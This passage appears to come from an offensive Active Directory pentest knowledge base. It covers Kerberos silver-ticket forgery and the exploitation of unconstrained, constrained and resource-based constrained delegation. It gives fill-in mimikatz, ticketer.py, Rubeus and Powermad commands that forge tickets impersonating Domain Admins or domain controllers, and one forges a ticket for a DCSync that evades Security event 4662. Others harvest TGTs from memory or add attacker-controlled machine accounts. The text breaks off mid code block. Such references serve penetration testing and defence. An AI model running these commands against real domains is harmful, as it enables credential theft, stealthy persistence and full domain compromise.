`Service tickets` are generated by the `TGS` upon reception of a valid `Ticket-Granting Ticket (TGT)` using:

* One of the secrets (`RC4 key`, whose value is identical to the `NTLM` hash, or `AES 128/256 bits keys`) of the `krbtgt` account (`KDC Signature`).
* One of the secrets of the targeted service account (`Server Signature` and encryption of the `TGS`).

However, as the service account has no knowledge of the the `krbtgt` account's secrets, no verification is done by default on the `KDC Signature` signature upon receipt and verification of the validity of a `service ticket`. Thus, in the majority of environment, only the knowledge of one of the secrets of the targeted service account is necessary for the generation of valid `service tickets` for the service (and renewals of the `krbtgt`'s password do not invalidate the crafted `service tickets`).

Note that the `Kerberos PAC Validation` mechanism can be enabled on a service to enforce a systematic verification of the `service tickets`'s `Privilege Attribute Certificate (PAC)` `KDC Signature` signature with a request to the `KDC`. As the additional verification induced by the mechanism requires an exchange between the server hosting the service and the `KDC`, its activation can cause significant performance degradation.

For more information on the `Kerberos` protocol, refer to the \`ActiveDirectory

* Kerberos Golden Tickets\` note.

To generate a `silver ticket`, the following prerequisites are needed:

* The fully qualified domain name and the `SID` of the targeted domain.
* The `SPN` and one of the secrets of the targeted service account.

**Computers services and machine account exploitation**

Windows systems integrated to an Active Directory domain expose a number of services, executed under the machine account authority. These services can be leveraged to remotely access and execute commands on a machine. As such, the compromise of one of the machine account secrets can be used to generate `silver tickets` allowing for remote code execution.

`Silver tickets` for machine services can notably be used for persistence after the compromise of a machine or an Active Directory domain (as the secrets of the machine accounts of all the machines integrated to the domain are stored in the `ntds.dit` database). Additionally, if a machine exposes the Windows `SpoolerService` service, through the `MS-RPRN` `MSRPC` interface, and is configured to permit the use of `NetNTLMv1` (`LMCompatibilityLevel` attribute set to 2 or lower), an authentication from the machine to an arbitrary host in `NetNTLMv1` can be remotely triggered and further captured, to ultimately crack the `NetNTLMv1` hash and retrieve the machine account `NTLM` hash. For more information on the attack refer to the `[L7] MSRPC` and `[ActiveDirectory] NTLM capture and relay` notes.

Different services are exposed on Windows systems integrated to an Active Directory domain and can be targeted, through their respective `SPN` in the form of `<SERVICE_NAME>/<MACHINE_HOSTNAME>`, for persistence and remote access:

| Possible operation                                    | Service(s)                                                                                                                        | Description                                                                                                                                                  | Related note                                                                            |
| ----------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- |
| <p><code>PsExec</code>-like<br>file system access</p> | `CIFS`                                                                                                                            | Remote execution of commands using `PsExec`-like utilities or full access to the machine file system.                                                        | <p><code>Windows - Lateral movements</code><br><code>\[L7] 445 - SMB</code></p>         |
| `WMI`                                                 | <p><code>HOST</code><br><code>RPCSS</code></p>                                                                                    | Remote execution of commands through `Windows Management Instrumentation (WMI)` (`Win32_Process` class for example).                                         | `Windows - Lateral movements`                                                           |
| `WinRM`                                               | <p>Always necessary:<br><code>HOST</code><br><code>HTTP</code><br>Host dependant:<br><code>WSMAN</code><br><code>RPCSS</code></p> | `PowerShell remoting` through `Windows Remote Management (WinRM)`.                                                                                           | <p><code>Windows - Lateral movements</code><br><code>\[L7] 5985-5968 - WSMan</code></p> |
| Windows services                                      | `HOST`                                                                                                                            | Remote creation and/or execution of Windows services.                                                                                                        | `Windows - Lateral movements`                                                           |
| Scheduled tasks                                       | `HOST`                                                                                                                            | Remote creation and/or execution of Windows scheduled tasks.                                                                                                 | `Windows - Lateral movements`                                                           |
| <p><code>DCSync</code><br>LDAP access</p>             | `LDAP`                                                                                                                            | `LDAP` requests, and notably allows, for `service tickets` to the `LDAP` service of a `Domain Controller`, the conduct of replication operations (`DCSync`). | `[ActiveDirectory] ntds.dit dumping`                                                    |
| `RSAT`                                                | <p><code>CIFS</code><br><code>LDAP</code><br><code>RPCSS</code></p>                                                               | Use of the PowerShell cmdlets of the Windows `Remote Server Administration Tools (RSAT)` suite.                                                              | `[ActiveDirectory] Domain Recon`                                                        |

The `HOST` service for Windows machines includes a set of machine built-in Windows services, such as the `HTTP`, `SCM` and `SCHEDULE` services, etc.

The exhaustive list of services exposed on a Windows machine integrated to an Active Directory domain can be retrieved using the following PowerShell command:

```
# DOMAIN_ROOT_OBJECT = "DC=LAB,DC=AD" for example

Get-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,
<DOMAIN_ROOT_OBJECT>" -properties sPNMappings
```

### Silver tickets generation

The `mimikatz` utility on Windows and the `Impacket`'s `ticketer.py` Python script can be used to generate `silver tickets`:

```
# (mimikatz) /id: / (ticketer.py) -user-id <USER_RID>
# Impersonated user Relative ID (RID). Default to 500 (Built-in Administrator account RID).

# (mimikatz) /groups: / (ticketer.py) -groups <GROUP_RID | GROUP_RIDS_LIST>
# Impersonated groups membership, in the form of one or a list of groups RID. Default groups RIDs: 513 (Domain Users), 512 (Domain Admins), 520 (Group Policy Creator Owners), 518 (Schema Admins), and 519 (Enterprise Admins, only effective if targeting the root domain).

# (mimikatz) /sids: / (ticketer.py) -extra-sid <EXTRA_SID | EXTRA_SIDS_LIST>
# Additional and arbitrary SID(s) (that may or may not belong to the current domain) to include in the PAC, as if the SIDs were defined in the `SIDHistory` attribute of a domain user.

# (mimikatz) /ptt - Directly inject the generated silver ticket in memory

# From an authorization standpoint, the specified username does not matter.
mimikatz.exe "kerberos::golden /user:<IMPERSONATED_USERNAME> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /target:<TARGETED_SERVER_FQDN> [/rc4:<TARGETED_SERVICE_ACCOUNT_NTLM_HASH> | /aes128:<TARGETED_SERVICE_ACCOUNT_AES128_KEY> | /aes256:<TARGETED_SERVICE_ACCOUNT_AES256_KEY>] /service:<TARGETED_SERVICE_NAME> [/id:<USER_RID>] [/groups:<GROUP_RID | GROUP_RIDS_LIST>] [/sids:<EXTRA_SID | EXTRA_SIDS_LIST>] /ptt" "exit"

ticketer.py -domain <DOMAIN_FQDN> -domain-sid <DOMAIN_SID> -spn <SERVICE_FULL_SPN> [-nthash <TARGETED_SERVICE_ACCOUNT_NTLM_HASH> | -aesKey <TARGETED_SERVICE_ACCOUNT_AES128_KEY | TARGETED_SERVICE_ACCOUNT_AES256_KEY>] [-user-id <USER_RID>] [-groups <GROUP_RID | GROUP_RIDS_LIST>] -[extra-sid <EXTRA_SID | EXTRA_SIDS_LIST>] <IMPERSONATED_USERNAME>

# Access to a Windows system through WinRM (PowerShell Remoting) using one of the targeted computer secret.
# Silver tickets the HOST and HTTP services are necessary and usually sufficient. Silver tickets for the WSMAN and/or RPCSS services may additionally be required.  
mimikatz.exe "kerberos::golden /user:<IMPERSONATED_USERNAME> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /target:<TARGETED_COMPUTER_FQDN> [/rc4:<TARGETED_COMPUTER_ACCOUNT_NTLM_HASH> | /aes128:<TARGETED_COMPUTER_ACCOUNT_AES128_KEY> | /aes256:<TARGETED_COMPUTER_ACCOUNT_AES256_KEY>] /service:host /ptt" "exit"
mimikatz.exe "kerberos::golden /user:<IMPERSONATED_USERNAME> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /target:<TARGETED_COMPUTER_FQDN> [/rc4:<TARGETED_COMPUTER_ACCOUNT_NTLM_HASH> | /aes128:<TARGETED_COMPUTER_ACCOUNT_AES128_KEY> | /aes256:<TARGETED_COMPUTER_ACCOUNT_AES256_KEY>] /service:http /ptt" "exit"

# Impersonates an user member of the "Enterprise Admins" group of the root domain in order to compromise the root domain from any trusted child domain.
# For more information, refer to the "Active Directory - Trusts hopping" note.
mimikatz.exe "kerberos::golden /user:<IMPERSONATED_USERNAME> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /target:<TARGETED_SERVER_FQDN> [/rc4:<TARGETED_SERVICE_ACCOUNT_NTLM_HASH> | /aes128:<TARGETED_SERVICE_ACCOUNT_AES128_KEY> | /aes256:<TARGETED_SERVICE_ACCOUNT_AES256_KEY>] /service:<TARGETED_SERVICE_NAME> /sids:"S-1-5-21-<ROOT_DOMAIN_IDENTIFIER-AUTHORITY>-519" /ptt" "exit"

# Impersonates a Domain Controller in order to conduct DCSync attack without generating Windows "Security" events ("Event 4662: An operation was performed on an object").
# The <IMPERSONATED_DC_RID> can be obtained using:
(New-Object System.Security.Principal.NTAccount("<DOMAIN>","<DC_MACHINE_ACCOUNT")).Translate([System.Security.Principal.SecurityIdentifier]).Value
# For more information, refer to the "Active Directory - ntds.dit dumping" note.
mimikatz.exe "kerberos::golden /user:<IMPERSONATED_DC_MACHINE_ACCOUNT> /domain:<DOMAIN_FQDN> /sid::<DOMAIN_SID> /target:<TARGETED_DC_FQDN> [/rc4:<TARGETED_DC_MACHINE_ACCOUNT_NTLM_HASH> | /aes128:<TARGETED_DC_MACHINE_ACCOUNT_AES128_KEY> | /aes256:<TARGETED_DC_MACHINE_ACCOUNT_AES256_KEY>] /service:ldap /id:<IMPERSONATED_DC_RID> /groups:516 /sids:S-1-5-21-<DOMAIN_IDENTIFIER-AUTHORITY>-516,S-1-5-9" /ptt" "exit"
```

### Silver tickets usage (Pass-the-Ticket)

On Windows, `silver tickets` generated using `mimikatz` will be automatically injected in the current logon session if the `/ptt` option is specified. Otherwise, an exported `silver ticket` can be injected using `mimikatz.exe "kerberos::ptt <TICKET_FILE_PATH>` for example.

On Linux, `silver tickets` generated by `ticketer.py`, in the `credential cache (ccache)` format, can be exported in the `KRB5CCNAME` environment variable for further use through tools supporting the `Kerberos` protocol, such as others `Impacket` Python utilities. Note that `impackets` utilities can only make use of a single `Kerberos tickets` at a time, which limits the possible usage of the utilities with `silver tickets`.

Refer to the `[ActiveDirectory] Kerberos tickets usage` for more information on techniques and tools to leverage `silver tickets`.

***

### References

<https://2014.rmll.info/slides/80/day\\_3-1010-Benjamin\\_Delpy-Mimikatz\\_a\\_short\\_journey\\_inside\\_the\\_memory\\_of\\_the\\_Windows\\_Security\\_service.pdf> <https://adsecurity.org/?page\\_id=1821> TECHNIQUES DE PERSISTANCE ACTIVE DIRECTORY BASÉES SUR KERBEROS - MISC Hors-Série N°20 <https://www.beneaththewaves.net/Projects/Mimikatz\\_20\\_-\\_Silver\\_Ticket\\_Walkthrough.html>


# Exploitation - Kerberos delegations

### Overview

`Kerberos` is an authentication protocol used within Active Directory that rely on the use of tickets to identify users and grant access to domain resources. To do so, `Kerberos` implements two type of tickets, issued by two distinct services of the `Key Distribution Center (KDC)`:

* `Ticket-Granting Ticket (TGT)`, obtained from the `Authentication Service (AS)`.
* `service tickets`, obtained from the `Ticket-Granting Service (TGS)`.

A valid `TGT` is necessary in order to request `service tickets`, which in turn grant access to service accounts (user or machine domain accounts that have a `ServicePrincipalName (SPN)`).

**Unconstrained, constrained and resource-based constrained delegations**

Three types of delegation are implemented in the (Microsoft Active Directory) `Kerberos` protocol:

* `unconstrained delegation`,
* `constrained delegation`,
* `resource-based constrained delegation (RBCD)`.

Service accounts that are trusted for `unconstrained delegation`, i.e service accounts with the `ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION` flag being positioned in their `User-Account-Control` attribute, can fully act on behalf of other domain users. `Service tickets` received by such services will contain a copy of the `TGT` of the user accessing the service. The received `TGTs` can be extracted from the `LSASS` process of the machine running the service / receiving the authentication, and further used to authenticate to any domain resources.

Service accounts that are trusted for `constrained delegation`, i.e service accounts with a non-empty `msDS-AllowedToDelegateTo` attribute, can impersonate other domain users to configured services (in the service account 's `msDS-AllowedToDelegateTo` attribute). `Constrained delegations` are implemented into the `Kerberos` protocol by Microsoft through the `Service-for-User-to-Proxy (S4U2proxy)` extension. `S4U2proxy` allows service accounts to request `service tickets` to the `KDC` (`TGS-REQ`) on behalf of other users by arbitrarily specifying the name of the user the `service ticket` should be emitted to. In order to do so, the service account must join, in the `req-body.additional-tickets` field of the `TGS-REQ` request, a `service ticket` marked as `forwardable` from the specified user. Such `service ticket` may be received from a delegable user as part of the `Kerberos` authentication process to the "proxifying" service or directly requested by the "proxifying" service through a `S4U2self` request (if the service is allowed to do so). More details on the `Kerberos` `S4U2self` extension are provided below.

The `resource-based constrained delegation`, introduced in Windows Server 2012, deports the trust to the final resources. Instead of trusting a service account to impersonate other users to destination services, service accounts can specifically authorize other services to authenticate using delegated `service tickets`. The authorized services are identified, by their `SPN`, in the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute of the final services. Similarly to `constrained delegation`, the service accessing the final service will request a `service ticket` to the `KDC` on behalf of a domain user through a `S4U2proxy` request. Except that in a `resource-based constrained delegation` scenario, the "proxifying" service can provide a standard `service ticket` to the `KDC` and thus does not have to be in possession of a `service ticket` marked as `forwardable` from the specified user.

In summary, the services a service account can request `S4U2proxy` `service tickets` for are restricted by the `KDC` to the ones either:

* *`[constrained delegation]`* configured, using their `SPNs`, in the requesting service account's `msDS-AllowedToDelegateTo` attribute.
* *`[resource-based constrained delegation]`* having in their `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute the `SPN` of the requesting service.

**Service-for-User-to-Self (S4U2self)**

In order to provide protocol transition, Microsoft implemented the `S4U2self` extension into the `Kerberos` protocol. This extension makes `Kerberos` delegation possible for domain users accessing a service through other Windows authentication protocols, such as the `NT Lan Manager (NTLM)` protocol. As a `service ticket` is required for `Kerberos` `constrained` and `resource-based constrained delegation` (both leveraging the `Kerberos` `S4U2proxy` extension), the `S4U2self` allows a service account to obtain a `service ticket` for itself of an arbitrarily specified user. The user is specified in the of the `PA-FOR-USER` field in the `preauthentication data` of the `KRB_TGS_REQ` request to the `KDC`.

Any service account can request `service tickets` for itself through the `S4U2self` extension. However, only service accounts configured as being able to `"use any authentication protocol"`, which correspond to the `ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION` / `TRUSTED_TO_AUTH_FOR_DELEGATION` flag being positioned in the service accounts' `User-Account-Control` attribute, will receive `service tickets` marked as `forwardable`.

The `S4U2self` `service tickets` contain, in its `Privilege Attribute Certificate (PAC)`, the `authorization data` of the requested user and can be used:

* to impersonate the user locally on the system executing the service if the service account has the `SeTcbPrivilege` privilege on the local system.
* through a `constrained delegation` to impersonate the user on remote services, using subsequent `S4U2proxy` requests, if the `S4U2self` `service ticket` is marked as `forwardable`. The `S4U2self` `service ticket` can only be used to make `S4U2proxy` requests for the services defined in the receiving service account's `msDS-AllowedToDelegateTo` attribute. The `S4U2proxy` request will result in the retrieval of a `service ticket` to the remote service impersonating another user identity.
* through a `resource-based constrained delegation` to impersonate the user on remote services, using subsequent `S4U2proxy` requests, even if the `S4U2self` `service ticket` is **not** marked as `forwardable`. Indeed, in a `resource-based constrained delegation` scenario, `S4U2Proxy` requests will grant `service tickets` for services even if the `service ticket` provided to the `KDC` is non-`forwardable`. The `S4U2self` `service ticket` can only be used to make `S4U2proxy` requests for the services that define in their `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute the service emitting the `S4U2self` `service ticket`.

**Resource-based constrained delegations for machines takeover**

As previously established (from original findings made by Elad Shamir):

* all service accounts may request non-`forwardable` `S4U2self` `service tickets` impersonating any domain user.
* Non-`forwardable` `S4U2self` `service tickets` can be used in a `resource-based constrained delegation` to request `S4U2Proxy` `service tickets` and ultimately authenticate to the "trusting" service on behalf of any domain user.

In consequence of those two facts, the control of a service or machine account defined in a machine account's `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute, or the `ACL` right to write this attribute, can lead to remote code execution on the machine.

Indeed, Windows systems integrated to an Active Directory domain expose a number of services which can be leveraged to remotely access and execute commands, such as:

| Possible operation                                    | Service(s)                                                                                                                        | Description                                                                                                          | Related note                                                                            |
| ----------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------- |
| <p><code>PsExec</code>-like<br>file system access</p> | `CIFS`                                                                                                                            | Remote execution of commands using `PsExec`-like utilities or full access to the machine file system.                | <p><code>Windows - Lateral movements</code><br><code>\[L7] 445 - SMB</code></p>         |
| `WMI`                                                 | <p><code>HOST</code><br><code>RPCSS</code></p>                                                                                    | Remote execution of commands through `Windows Management Instrumentation (WMI)` (`Win32_Process` class for example). | `Windows - Lateral movements`                                                           |
| `WinRM`                                               | <p>Always necessary:<br><code>HOST</code><br><code>HTTP</code><br>Host dependant:<br><code>WSMAN</code><br><code>RPCSS</code></p> | `PowerShell remoting` through `Windows Remote Management (WinRM)`.                                                   | <p><code>Windows - Lateral movements</code><br><code>\[L7] 5985-5968 - WSMan</code></p> |
| Windows services                                      | `HOST`                                                                                                                            | Remote creation and/or execution of Windows services.                                                                | `Windows - Lateral movements`                                                           |

Refer to the `[ActiveDirectory] Kerberos Silver Tickets` note for more information on machine services that can be leveraged for remote access and commands execution.

**Accounts that cannot be delegated**

Domain users can be protected from `Kerberos` delegation by either being:

* configured as non-delegable (`"Account is sensitive and cannot be delegated"`), which correspond to the `ADS_UF_NOT_DELEGATED` flag being positioned in a user' `User-Account-Control` attribute.
* members of the `Protected Users` domain group.

### Identification of domain accounts that can be delegated

The PowerShell cmdlets below list all domain accounts that are not tagged as non-delegable nor are direct member of the `Protected Users` domain group.

```bash
Get-ADUser -Filter * -Properties AccountNotDelegated,MemberOf | Where-Object {($_.AccountNotDelegated -eq $False) -and -not ($_.Memberof -match "Protected Users")}
Get-DomainUser -Properties * | Where-Object {-not ($_.useraccountcontrol -match "NOT_DELEGATED") -and -not ($_.memberof -match "Protected Users")} | F
```

The PowerShell script below can be used to list the members of the privileged domain groups that are delegable (with out the `ADS_UF_NOT_DELEGATED` flag being set in their `User-Account-Control` attribute nor are direct or indirect member of the `Protected Users` domain group).

```bash
# Targeted privileged groups: "Domain Admins" (-512), "Enterprise Admins" (-519), "Administrators" (-544), "Backup Operators" (-551), "DNS Admins" (> 1000), "Print Operators" (-550), "Server Operators" (-549), "Account Operators" (-548), "Schema Admins" (-518)

$Users = Get-ADUser -Filter {AccountNotDelegated -eq $False}
$ProtectedUsers = Get-ADGroupMember -Identity "Protected Users" -Recursive

If ($ProtectUsers.Count -ne 0) {
  $DelegableUsers = Compare-Object $Users $ProtectedUsers | Select-Object -Expand InputObject | Sort-Object | Get-Unique
}

Else {
  $DelegableUsers = $Users
}

$DomainSID = (Get-ADDomain).DomainSID
$DomainAdminsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountDomainAdminsSid, $DomainSID)
$EnterpriseAdminsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountEnterpriseAdminsSid, $DomainSID)
$AdministratorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid, $DomainSID)
$BackupOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinBackupOperatorsSid,$DomainSID)
$DnsAdminsSID = (Get-ADGroup -Identity "DnsAdmins").SID
$PrintOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinPrintOperatorsSid,$DomainSID)
$ServerOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinSystemOperatorsSid,$DomainSID)
$AccountOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinAccountOperatorsSid,$DomainSID)
$SchemaAdminsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountSchemaAdminsSid,$DomainSID)

$PriviligedUsers = Get-ADGroup -Filter {(SID -eq $DomainAdminsSid) -or (SID -eq $EnterpriseAdminsSID) -or (SID -eq $AdministratorsSID) -or (SID -eq $BackupOperatorsSID) -or (SID -eq $DnsAdminsSID) -or (SID -eq $PrintOperatorsSID) -or (SID -eq $ServerOperatorsSID) -or (SID -eq $AccountOperatorsSID) -or (SID -eq $SchemaAdminsSID)} | Get-ADGroupMember -Recursive | Sort-Object | Get-Unique

$DelegablePriviligedUsers = @()
foreach ($DelegableUser in $DelegableUsers){
  foreach ($PriviligedUser in $PriviligedUsers){
   If ($DelegableUser.SamAccountName -eq $PriviligedUser.SamAccountName) {
      $DelegablePriviligedUsers += $DelegableUser
	}
  }
}

$DelegablePriviligedUsers
```

### Unconstrained delegation exploit

**Unconstrained delegation service accounts identification**

The PowerShell `Active-Directory` module and `Powerview` can be used to enumerate service accounts trusted for `unconstrained delegation` (accounts having the `ADS_UF_TRUSTED_FOR_DELEGATION` flag configured in their `User-Account-Control` attribute).

```bash
# Computer machine accounts
Get-DomainComputer -Unconstrained
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

# User service accounts
Get-DomainUser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
Get-ADUser -Filter {TrustedForDelegation -eq $True}
Get-ADUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
```

**Kerberos authentication capture**

Multiples techniques and procedures may be used to obtain a `Kerberos` authentication from a remote system or user:

* `LLMNR` and `NBT-NS` poisoning
* `DNS` poisoning through a `IPv6` rogue `DHCP` server
* `MSRPC` `MS-RPRN` `SpoolerService` "printer bug"
* Through the `Exchange Web Services (EWS)` `API`
* Remote network share access from a `Microsoft SQL Server (MSSQL)` database
* `Universal Naming Convention (UNC)` path injection in phishing emails or documents on network shares
* etc.

Refer to the `[ActiveDirectory] NTLM capture and relay` note for more information on how to conduct these techniques. Note that in order to receive `Kerberos` authentications, instead of `NTLM` authentications, the authentication requests must be addressed to a service account (requiring a `SPN` that can be resolved into an `IP` by the remote system). In the present case, the `SPN` of the service account trusted for `unconstrained delegation` must be specified.

If the `SpoolerService` is exposed on a `Domain Controller`, an authentication request can be triggered from the `Domain Controller` machine account. As `Domain Controllers` have the necessary rights to make replication requests through the `Directory Replication Service API (DRSUAPI)` API, a `TGT` of a `Domain Controller` machine account can be used to conduct `DCSync` attacks. Refer to the `[ActiveDirectory] ntds.dit dumping` note for more information on the `DCSync` attack.

If `Exchange Servers` have not been patched with the `February 2019 Quarterly Exchange Updates`, the `EWS` `API` can be leveraged to trigger a request from an `Exchange Server` machine account. With out the patch being applied, `Exchange Server` machine accounts have, by default, high privileges in the domain. The `Exchange-AD-Privesc` GitHub repository lists the different attack paths that leverage an `Exchange Server` machine account to obtain `Domain Admins` privileges: `https://github.com/gdedrouas/Exchange-AD-Privesc`.

**TGTs retrieval and usage**

The `monitor` module of the `Rubeus` C# utility can be used to extract the `TGTs` stored in memory (elevated privileges are required on the system).

The `monitor` module will periodically extract all `TGTs` and display any newly captured `TGTs`.

```bash
# The TGTs will be extracted every 60 seconds by default.
Rubeus.exe monitor

Rubeus.exe monitor /interval:<INTERVAL_IN_SECONDS> /filteruser:<USERNAME>
```

Refer to the `[ActiveDirectory] Kerberos tickets usage` for more information on how to make use of the obtained `TGT`.

### Constrained delegation exploit

A principal trusted for `constrained delegation` can impersonate any user (that can be delegated) to the services.

Accounts that have the `ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION` / `TRUSTED_TO_AUTH_FOR_DELEGATION` flag being positioned in their `User-Account-Control`'s attribute can be enumerated using an LDAP filter.

**Enumeration of the msDS-AllowedToDelegateTo attribute**

```bash
# Retrieves the value of the msDS-AllowedToDelegateTo attribute of all objects in the domain that are trusted for constrained delegation.
Get-ADObject -LDAPFilter "(msDS-AllowedToDelegateTo=*)" -Properties msDS-AllowedToDelegateTo

# Retrieves the value of the msDS-AllowedToDelegateTo attribute of all objects in the domain that are trusted for constrained delegation with protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION flag).
Get-ADObject -LDAPFilter "(&(userAccountControl:1.2.840.113556.1.4.803:=16777216)(msDS-AllowedToDelegateTo=*))" -Properties msDS-AllowedToDelegateTo

# With formation, from https://alsid.com/fr/node/143.
Get-ADObject -LDAPFilter "(&(userAccountControl:1.2.840.113556.1.4.803:=16777216)(msDS-AllowedToDelegateTo=*))" -Properties msDS-AllowedToDelegateTo | ForEach-Object {
    [PSCustomObject]@{
        DistinguishedName          = $_.DistinguishedName
        'msDS-AllowedToDelegateTo' = $_.'msDS-AllowedToDelegateTo'
    }
}
```

**Exploitation of constrained delegation**

`Rubeus`'s `s4u` module or `impackets`'s `getST.py` Python script can be used to make `S4U2self` and `S4U2proxy` requests to retrieve a `service ticket` to the constrained service impersonating the specified user.

Even if delegation rights are only granted on a specific `SPN`, `alternative services` can be specified in order to retrieve `service tickets` for others services supported by the host, effectively bypassing the limitation. For instance, if a principal is only allowed to delegate to the `time` service of an host (`time\<host>`), `service tickets` can still be requested for the `HOST` or `CIFS` `SPN` of the host, leading to remote code execution.

Refer to the `S4U service tickets and usage` section below (common with `resource-based constrained delegation` exploitation) for more information on how to request and use the aforementioned tools.

### Resource-based constrained delegation exploit

**Enumeration of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute**

The `RSAT` `ActiveDirectory` module's provide PowerShell cmdlets that can be used to retrieve the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute of the specified, or all, domain object(s):

```bash
# Retrieves the value of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the specified user / machine account.
# IDENTITY: DistinguishedName (DN), GUID, SID or SamAccountName
Get-ADUser -Identity <IDENTITY> -Properties PrincipalsAllowedToDelegateToAccount
(Get-ADUser -Identity <IDENTITY> -Properties msds-allowedtoactonbehalfofotheridentity).'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access.IdentityReference.Value

Get-ADComputer -Identity <IDENTITY> -Properties PrincipalsAllowedToDelegateToAccount
(Get-ADComputer -Identity <IDENTITY> -Properties msds-allowedtoactonbehalfofotheridentity).'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access.IdentityReference.Value

# Retrieves the value of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of all objects in the domain with formatting.
# From https://alsid.com/fr/node/143.
Get-ADObject -LDAPFilter "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | ForEach-Object {
    [PSCustomObject]@{
        DistinguishedName                          = $_.DistinguishedName
        'msDS-AllowedToActOnBehalfOfOtherIdentity' = $_.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access.IdentityReference.Value
    }
}
```

Similarly, `PowerView` also provides PowerShell cmdlets that can be used to the same extent:

```bash
# Retrieves the raw value of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the specified user / machine account.
$RawBytes = Get-DomainUser "<USERNAME>" -Properties msds-allowedtoactonbehalfofotheridentity | Select -Expand msds-allowedtoactonbehalfofotheridentity
$RawBytes = Get-DomainComputer "<MACHINE_HOSTNAME>" -Properties msds-allowedtoactonbehalfofotheridentity | Select -Expand msds-allowedtoactonbehalfofotheridentity

# Converts the retrieved attribute from IADsSecurityDescriptor COM object to a more human readable format using the RawSecurityDescriptor class.
(New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl

# Retrieves the value of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of all objects in the domain.
Get-DomainObject -LDAPFilter "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" -Properties Name,DistinguishedName,msDS-AllowedToActOnBehalfOfOtherIdentity | ForEach-Object {
    $PSCustomObjects = @()

    $PSCustomObjects += ((New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $_.'msds-allowedtoactonbehalfofotheridentity', 0)) | Foreach-Object {$_.DiscretionaryAcl[0]}

    $PSCustomObjects | Add-Member -Name 'AppliedToName' -Type NoteProperty -Value $_.Name
    $PSCustomObjects | Add-Member -Name 'AppliedToDistinguishedName' -Type NoteProperty -Value $_.DistinguishedName

    $PSCustomObjects
}
```

**\[Optional - For ACL exploit] Creation of a controlled service account**

As the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute must refer to a valid `SPN` (defined in the domain and `DNS`-resolvable), an account defining such `SPN` must be controlled in order to request `S4U2self` `service tickets` for the targeted service.

As machine accounts register various `SPNs` (`HOST\<HOSTNAME>`, `CIFS\<HOSTNAME>`, etc.) and, by default, any domain users may add up to 10 machine accounts to a domain, a machine account may be added to the domain using a compromised low-privileges user to meet the attack prerequisites. The number of machine accounts any user may add in the domain is controlled by the `ms-DS-MachineAccountQuota` attribute of the domain root object.

The `RSAT` `ActiveDirectory` module's `Get-ADObject` and `PowerView`'s `Get-DomainObject` PowerShell cmdlets can be used to retrieve the value of the current or specified domain's `ms-DS-MachineAccountQuota` attribute:

```bash
Get-ADObject ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota

# DOMAIN_ROOT_OBJECT = "DC=LAB,DC=AD" for example
Get-ADObject -Server <DC_IP | DC_HOSTNAME> -Credential <PSCredential> -Identity <DOMAIN_ROOT_OBJECT> -Properties ms-DS-MachineAccountQuota

Get-DomainObject <DOMAIN | DOMAIN_ROOT_OBJECT> -Properties Name,DistinguishedName,ObjectSID,ms-DS-MachineAccountQuota
Get-DomainObject -Server <DC_IP | DC_HOSTNAME> -Credential <PSCredential> <DOMAIN | DOMAIN_ROOT_OBJECT> -Properties Name,DistinguishedName,ObjectSID,ms-DS-MachineAccountQuota
```

The `Powermad`'s `New-MachineAccount` PowerShell cmdlet can be used to add a machine account into the current or specified Active Directory domain:

```bash
New-MachineAccount -Verbose -MachineAccount <MACHINE_ACCOUNT_NAME> -Password $(ConvertTo-SecureString '<MACHINE_ACCOUNT_PASSWORD>' -AsPlainText -Force)

New-MachineAccount -Verbose -DomainController <DC_IP> -Credential <PSCredential> -MachineAccount <MACHINE_ACCOUNT_NAME> -Password $(ConvertTo-SecureString '<MACHINE_ACCOUNT_PASSWORD>' -AsPlainText -Force)
